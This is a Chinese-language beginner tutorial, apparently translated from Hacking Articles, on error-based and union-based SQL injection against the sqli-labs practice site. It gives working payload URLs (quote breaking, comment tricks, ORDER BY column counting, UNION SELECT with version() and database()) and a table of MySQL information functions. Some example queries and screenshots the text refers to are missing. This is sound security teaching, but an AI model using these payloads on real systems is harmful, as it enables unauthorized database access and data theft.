SQL注入新手教程(第一部分)2
现在准备好实验平台,开始吧。
点击 lesson 1 并在 URL 中添加 id 作为参数
一直增大 id 的值(id=1, id=2...)。当 id 的值大于14,你会发现得到的是一个没有用户名和密码的空白页面,这意味着数据库只有14条记录。
后端查询一定是像这样的
或者
或者
但是我们并不知道开发者具体是怎样封装 id 参数值的。所以得先找封装形式。
输入 id 的值为 1' 来破坏查询。
哈哈,现在我们得到了SQL语法错误提示。因为这个错误提示将会帮助我们找出后端查询,并且我们也会使用这个错误提示来进行SQL注入,所以这种类型的SQL注入又被称为基于错误返回的SQL注入。
现在我们必须看着屏幕截图来分析这个错误。
你也可以通过转义字符来找出 参数封装形式,在MYSQL中 '\'(反斜杠)被用来转义一个字符。转义一个字符意味着取消该字符的特殊用途。使用转义字符可以得到更清楚的图片。
从上面的屏幕截图中可以清晰地看出后端查询
Less-1 - SELECT * from table_name WHERE id='our input'
Less-2 - SELECT * from table_name WHERE id=our input
Less-3 - SELECT * from table_name WHERE id=('out input')
Less-4 - SELECT * from table_name WHERE id=("our input")
这里以 Less-1 为例进一步解释。输入 1' 对应的完整的后端查询会是
这条查询有语法错误,之前我已经解释过如何使它语法正确,
输入 1'-+
或者输入 1'-%20(%20 URL编码为空格)
或者输入 1'%23 (%23 URL编码为 # )
http://localhost/sqlilabs/Less-1/?id=1'-%20
http://localhost/sqlilabs/Less-1/?id=1'%23
http://localhost/sqlilabs/Less-1/?id=1'-+
现在我们既可以破坏查询,又可以修复它的语法错误了。那么下一步干什么呢?接下来我们要努力在引号和 -+ 之间添加查询来获取数据库中的信息。
这里我们将会使用另外一条SELECT查询来获取数据库中的信息。
问:两条SELECT查询可以同时工作吗?
答:不行,我们必须得使用UNION操作符来实现。UNION操作符用于合并两个或多个SELECT语句的结果集。但是有一个前提条件,那就是UNION操作符两边的列数必须相同。由于我们并不知道后端的SELECT查询有多少列,所以首要任务就是找出SELECT查询中使用的列数。为此我们要使用ORDER BY子句。
ORDER BY子句会根据查询中使用的指定列将结果集按照升序或降序排列。例如:
ORDER BY country à 将会根据指定列(country)将结果集的元素按照升序排列。
问题又来了,我们根本不知道指令列的名字啊...
解决办法就隐藏在ORDER BY子句中...
我们会用到ORDER BY 1, ORDER BY 2...。因为ORDER BY 1 会根据在查询中出现的第一个指定列将结果集按照升序(默认)排列。(请注意,ORDER BY 1 不是根据表的第一列来排列结果集,而是按照查询中出现的的第一个指定列将结果集按照升序排列)
现在来试一下吧。
http://localhost/sqlilabs/Less-1/?id=1' order by 1 -+ 正确
http://localhost/sqlilabs/Less-1/?id=1' order by 2 -+ 正确
http://localhost/sqlilabs/Less-1/?id=1' order by 4 -+ 错误
错误提示查询中不存在第4列指定行。经过尝试可以发现后端查询中只有3个指定列。
现在我们可以使用UNION操作符来合并另一个SELECT查询了。
http://localhost/sqlilabs/Less-1/?id=1' union select 1,2,3 -+
没有错误,但是我们得到的是第一个查询的结果集,为了将第二个查询的结果显示在屏幕上,我们必须将第一条查询的结果集置为EMPTY。这点可通过给定 id 一个不存在的值来实现。我们可以将 id 的值设为负或者大于14,因为前面已经发现了数据库中只有14条记录。
http://localhost/sqlilabs/Less-1/?id=-1' union select 1,2,3 -+
或者
http://localhost/sqlilabs/Less-1/?id=15' union select 1,2,3 -+
屏幕显示第2列和第3列的值作为输出。所以我们将会使用这两列来提取有关数据库的信息和信息库里面的数据。
http://localhost/sqlilabs/Less-1/?id=-1' union select 1,2,version() -+
这会给出后端所使用的数据库的版本信息。
http://localhost/sqlilabs/Less-1/?id=-1' union select 1,database(),version() -+
这会给出我们正在使用的数据库信息和当前后端所使用的数据库的版本信息。
由于使用了UNION操作符来实现SQL注入,这种类型的注入被称为基于联合查询的SQL注入(其实也是基于错误返回的SQL查询的一种)。
基于联合查询的SQL注入
Variable/function | Output |
user() | Current User |
database() | Current Database |
version() | Database Version |
schema() | Current Database |
UUID() | System UUID Key |
current_user() | Current User |
system_user() | Current System User |
session_user() | Session User |
@@hostname | Current Hostname |
@@tmpdir | Temporary Directory |
@@datadir | Data Directory |
@@version | Version of Database |
@@basedir | Base Directory |
@@GLOBAL.have_symlink | Check if symlink is Enabled or Disabled |
@@GLOBAL.have_ssl | Check if it SSL is available |
这篇文章到此该结束了,后续我们会学习如何利用本篇文章中所使用的方法来备份数据库。下篇文章中,我会使用一些像information_schema, table_schema, limit, outfile等术语,如果你知道这些术语的话,那下篇文章你应该很容易就可以理解,所以查阅一些它们,并且练习一下我们在这篇文章学过的东西。
本文由 看雪翻译小组 hesir 编译,来源 Hacking Articles@Raj Chandel
完~
如果你喜欢的话,不要忘记点个赞哦!
热门阅读文章:
......
更多优秀文章,长按下方二维码,“关注看雪学院公众号”查看!
看雪论坛:http://bbs.pediy.com/
微信公众号 ID:ikanxue
微博:看雪安全
投稿、合作:www.kanxue.com